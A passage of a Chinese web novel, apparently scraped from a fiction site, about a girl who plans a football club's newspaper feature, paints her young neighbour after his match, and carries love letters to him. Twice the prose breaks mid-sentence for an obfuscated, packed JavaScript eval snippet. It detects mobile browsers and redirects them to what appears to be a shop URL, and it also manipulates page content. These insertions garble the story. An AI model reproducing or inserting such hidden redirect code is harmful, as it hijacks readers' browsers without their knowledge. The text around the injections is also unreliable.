第二页栏目标题是[支柱],放了一张俱乐部志愿者大合照,文章里负责人谈着组织建立的初衷,分享他们遇见的困难,介绍每个部门的职责。文章段落中还夹着志愿者认真工作的照片,他们不是明星,汗水和饱含热爱的眼神却让他们闪闪发光,读者为这份无私动容。 第三页栏目标题是[我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309216|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们],采用受访者图片加故事的形式,男女老少聊着他们喜欢球队的理由,八个小版块共同簇拥着中间足球场的俯瞰图,无声地诉说着他们的信仰。 第四页栏目标题是[快乐],友谊赛现场观众们的笑脸图片组成波浪的形状,球员们比赛的图就穿插在海浪中,空隙里写着那天他们感到最快乐的时刻,你会因为“进球”会心一笑,也会被“第一次带孩子看比赛”感动,人生百态,就此浓缩。 第五页是对整个采访主题的总结和升华,再次提倡大家文明看球。 皮亚琴查的市民们,翻看着这跟以往风格完全不同的“体育新闻”,忘记了讨论输赢和战术,再次回忆起自己首次踏进球场的激动,感叹着在报上看到了邻居大爷/学校老师/咖啡店店员…… 整个采访还被《晚邮报》转载到区域性板块,《米兰体育报》首页则用了“no”的视觉形式,搞了个拒绝球场暴力的便利贴接龙,带动了更多球员和球迷参与,他们面对惨案,有太多想倾诉。这些都让皮亚琴查俱乐部名声又上了一个台阶。 “宣传顾问?我吗?”奥罗拉下意识想拒绝,她并不想跟一个俱乐部高度绑定,何况她还有好多事要忙,不过先了解一下行情,“要做什么,薪资多少?” 一提到钱,卡尔开始支支吾吾“我们俱乐部呢,目前,比较拮据……” 之前是公益活动,白打工就算回馈社会了,当她也是为爱发电的死忠粉吗?呵,资本,没一个好东西。“不好意思卡尔先生,我还是学生呢,恐怕没时间。”她婉拒后,估计卡尔也觉得自己没理,并未多加劝说,只是提供了一张通行证,欢迎她随时来看比赛。 她真心觉得足球圈和娱乐圈没什么不同,俱乐部就像娱乐公司,当时总数在两千家以上,意甲是其中的TOP16,相当于X谊、X线、X皇这种头部公司,球员在一线队出场就是出道,意甲联赛关注度多,球员表现机会就多,背靠资本成为大明星概率高。意乙意丙是腰部公司,属于TOP100的队伍,资金没那么充裕,但俱乐部数量大,所以总体签约了很多人,球员一旦成名就会被卖掉回笼资金。业余俱乐部跟兴趣班差不多,球员没有出道资格,教练水平也良莠不齐。为了生存,俱乐部要从各个方面赚钱,所以不要跟高层讲什么爱和人情,太不现实了。 奥罗拉知道自己既然想往广告业发展,必然要面对娱乐圈和在本国影响力巨大的足球圈,还是要偶尔去和皮亚琴查俱乐部维护关系,“no”接龙还在如火如荼席卷着足球世界,也不知道会为多少人种下和平的种子,她的公益采访专题策划和摄影师身份,将来会是一个很好的敲门砖。 经过多年的深思熟虑,她决定以后报考米兰理工大学,这是一所意大利顶尖的理工强校,设计类专业是学校一大王牌,其中的工业产品设计包含通信设计的内容,她可以学习视觉传达、品牌包装、广告。况且大学离家不远,每周都能见父母,还不用花精力多适应一门外语。 她就像是一只要过冬的松鼠,勤勤恳恳地往自家洞里屯粮,之前的漫画和这次的摄影,都被整理进作品集,奥罗拉抚摸着越来越厚的文件夹,心里踏实多了。 13.青春邮差 菲利普感觉自己和队伍的磨合越来越好,虽然此时在赛场上他们仍落后一球,但每个人的眼里都看不到放弃两字,纷纷积极寻找机会,他也相信自己能再次杀入球网。 南多教练不复训练时的沉静,激动地跳在板凳上指挥着喜爱的队长:“皮波(Pippo),就是这样!皮波,快往左边跑!皮波,注意右侧!”伴随着一阵手舞足蹈,洪亮的嗓音震到了看台上的奥罗拉,她和周边的球迷为南多的激情四射暗暗发笑。 Pippo是高飞这个角色的意大利名字,对,就是迪士尼动画片《米老鼠》里米奇的好朋狗。南多教练认为菲利普在球门前拥有像狗一般灵敏的嗅觉,爆发力强,所以取了这个外号。菲利普果然没辜负教练的期望,他双腿带球,加速奔袭,突破了所有防守球员,像一道闪电再次出现在对方门框前,一次佯攻骗得守门员往左阻拦,腿却将球往右轻轻一捅。 “球进了!一个单刀球!” 小队长用他的沉着冷静扳平了比分!这是他在这场比赛进的第二个球,从拿到球的那一刻起,他就奔跑在正确的线路上,流畅的进攻看得人心潮澎湃,人们跟随着教练,大声为他呐喊:“Pippo!Pippo!” 奥罗拉看着和队友拥抱的菲利普,一边快速按下快门,一边跟着高声庆祝。 比赛结束后,她走到队伍大巴旁等待,作为随机刷新的野生摄影师,她跟皮亚琴查的好多工作人员都挺熟悉,偶尔还会帮他们拍工作照。 回到更衣室,南多用变得沙哑的嗓子复盘了整场比赛,等教练解散队伍,菲利普在洗澡间快速清理自己,连头发都没来得及擦干,抓起背包就往门口跑。 “他怎么那么急?”鲍勃还在拉伸肌肉,感觉身边刮过一阵风。 “奥罗拉等着呢~”男孩们发出怪叫。 气喘吁吁的菲利普,感觉身体又出了一些汗,头发把衣领打湿了,沁出深色的痕迹。被热情司机抓住尬聊的女孩仿佛看到了救星,“你来了!”激动的话语满是真诚。 不知道为什么,看到奥罗拉,菲利普控制不住自己的颧骨,一直在笑,心里满满的,早把为了打猎放他鸽子的詹卡洛忘到了天边。 奥罗拉跟着他坐在大巴最后一排,旁边的男孩刚洗完澡,浑身散发热气,或许是因为在赛场上梅开二度,开心地让她好像看到一条疯狂摇尾巴的暖乎乎小狗。 她这才有时间细细打量男孩,半干的发丝粘在脸颊旁,遗传了玛丽娜的眉眼随着年龄增长越发精致,脸上带着运动后的些许红晕,好一个美人胚子。 “我是不是很久没拉你做模特了?”奥罗拉冷不丁来一句,菲利普去了皮亚琴查后,他们不像以往,天天有时间见面,之前她又忙采访的事,根本没力气画画,画室里的稿子很久没更新,但今天看了那么精彩的进球,燃起了浓厚的创作热情,美貌,果然是第一生产力。 “今晚晚饭后有没有空?” 面对女孩的邀请,他下意识点头,几乎每一年,爱洛都会以他为蓝本,创造不同形式的作品,他居然从未感觉枯燥,反而很开心能成为爱洛的缪斯。 “就穿球衣来,嗯,带一颗足球……”她开始沉浸在自己的艺术里,说着说着就不理人了,眼神放空,明显在头脑风暴。菲利普也赶紧回忆今天有多少作业要完成,家里另一套球衣晾干了没。 恰好其他队员陆陆续续上车,但每个人都会假装不经意地瞥一眼后排,只能看到两个脑袋隔着距离,女孩坐在右侧靠窗的位置,男孩坐在女孩左边,两人都在发呆。 中途大巴车碾压到一些碎石,车里一阵摇晃,她的身体因为惯性被震得往前冲,眼见着额头要撞到前排靠背,菲利普凭借赛场上锻炼出的超强反应力,立马伸出左手手臂,抵住她锁骨处,把人往回按。 她吓了一跳,从思考中回过神来,两只手掌抬起,抓着拦在身前的小臂,“谢谢。” 沉默地把手放下,被女孩手心抓过的地方,突然有点麻,“安全带系好。”右手手指无意识地一直扣着座椅的皮革,发出一点沙沙的摩擦声。 “呲溜。”餐桌上,菲利普风卷残云,西蒙内看呆了,这还是他那细嚼慢咽的哥哥吗?詹卡洛张口想说话,却见大儿子抛下一句“我去找爱洛。”就匆忙拿着皮球离开。 玛丽娜仿佛看透了什么,轻笑着摇摇头,詹卡洛努了努嘴,继续吃着晚餐。 “你好快啊!等我一下。”奥罗拉还在画室做前期准备,就听见门铃响起,猜到是菲利普到了,她随意扎了个包包头,将家居服的袖子挽起至手臂,套上防脏围裙,一边系蝴蝶结一边给模特开门。 男孩找到自己常穿的拖鞋,刚要换,就被她阻止,“穿着吧,运动鞋更搭配主题。”于是抱着球跟着进入画室。 重新装修过的画室仍旧有一面大的落地窗,她又在墙上定制了洞洞板,定期更换展示的作品,被换下的作品统一收纳到一面大柜子里,像书籍一样竖着摆放。画室中央一般放着模型,她已经提前把东西清空,推着男孩的肩膀,将其带到中间。 男孩乖乖地等着被“摆弄”,垂着眼,抱着球,任凭奥罗拉围着他绕了几圈。 “今天第二个进球的动作还记得吗?” 菲利普闻言,把球放在右脚边,身体朝左/倾,手臂也摆出奔跑时的角度。 奥罗拉打了个响指,回到画架旁开始创作,她拿出铅笔在画布上轻轻勾勒出男孩的轮廓,确定好他头部躯干以及四肢的比例,“菲利普,你是不是又长高了?”真叫人羡慕。 “也许?” 女孩继续细化,将模特的五官,肌肉的线条,衣服的褶皱一一添加,“好了,你先坐角落沙发上休息一会吧。”因为画了一个人太多次,她闭上眼都能把他的表情画出来,所以只要底稿确认好,就可以让菲利普放松。 他的身体确实有些麻,听到口令后先站直,头部转动了几圈,颈椎舒缓许多,边轮流抖动四肢边坐进软的像朵云的懒人沙发,还是他们一起找材料做的。 用大号的画笔在画布上铺上大色块,确定好画面整体的色调以及明暗关系后,奥罗拉也离开了画架,伸了个懒腰,再揉了几下右手腕。 “饿吗?渴吗?”她一屁股坐到菲利普身边,手搭着他的肩膀,沙发不大,中间的凹陷让两人自然而然贴在一块,男孩摇头,也像她一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314484|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把头一仰,半躺在沙发上。房间里只剩下呼吸的声音,空气里有一丝淡淡的橘子味,这样的独处时刻,不知发生了多少次。 女孩脑子里好像有个闹钟,才休息了五分钟,就立马站起来,进行下一轮上色。他回到了之间的区域,摆出同样的姿势。画家板着一张脸,抬头观察模特几眼,低头调和颜色,给人物增添肌肤纹理和高光阴影,画面变得生动立体起来。 “搞定!”放下画笔舒了一口气,后续色彩的调整她自己可以完成,还是赶紧解放菲利普吧。 临走前,奥罗拉交给他新烤的馒头片,“胃难受就吃几块,在皮亚琴查照顾好自己。”男孩觉得今天他真的很奇怪,视线舍不得离开爱洛,脚也不想挪动,面对女孩疑惑的眼神,轻声道别。 “晚安,爱洛。” “晚安,小玫瑰。”她搞怪地用手掌当叶子,放在他下巴上。 送别了菲利普,继续打磨作品,她将画面设置成守门员的视角,眼前的球员满眼势在必得,腿部肌肉微微发力,一副即将射门的模样。旁人一眼就能感觉到作者本人对模特的喜爱,每个细节都如此饱满,甚至能看清脸上的绒毛,最吸睛莫过于少年的眼神,冷静又带着疯狂,对射门的渴望让观众共情了守门员,感到极大压力。 这些天菲利普只要有空就会来接她和西蒙内,她很有自知之明,弟弟是主要的,邻居妹妹是顺带的,可是放学后能看到一大一小两个小帅哥等你诶!还会帮你拿包,载你回家,这种体验就算是要再多加一份作业她都能咬牙做完。 本来意大利人就爱足球,得知她有一个在职业青训队当队长的哥哥后,不是本班的人也会好奇,类比一下就是“同学哥哥是X代X峻练习生”,会随机刷新在校门口,你想不想看?反正奥罗拉发现“陪”她一起放学的人越来越多了,这就是因扎吉们天生带火的命吧?她很快就接受了这样幸福的小烦恼。 进入青春期的菲利普已经脱离了稚童的青涩,无数的训练和比赛不仅锻炼了他的身体,还淬炼了他的气质,不止她一个人感受到男孩从外貌到精神上的成长,原本只是好奇凑热闹的女孩们被他独特的魅力折服,视他为编外校草。 班里都知道奥罗拉是个只要不被触碰底线,就很好相处的人,可最近突然有几个外班女孩会来和她搭话,时不时想送她小零食,她都没敢拿。 “诺玛,我的魅力已经那么大了?还是她们想找我补习?”又一次拒绝了学姐的糖衣炮弹,奥罗拉摸不着头脑。 虽然内向但爱好八卦的诺玛有很多线人,她附在奥罗拉耳边解释,女孩这才恍然大悟。 对不起,因为一起长大都习惯了,所以她根本没把菲利普当“男性”看,这才发觉初中生正处于青春萌动的年纪,外国人根本没有所谓“早恋”的概念,他们就是趁年轻想爱就爱,给自己留下美好的回忆。 她上辈子没谈过恋爱,对爱情从向往到失望,开始明确婚姻是对女性的绞杀,遇到对的人几率太小太小,所以敬而远之。可是看到这些朦胧的甜蜜,还是很羡慕的。 于是她放下疑虑,做一个爱情邮差,收下了好几封给菲利普的情书,到时一起转交。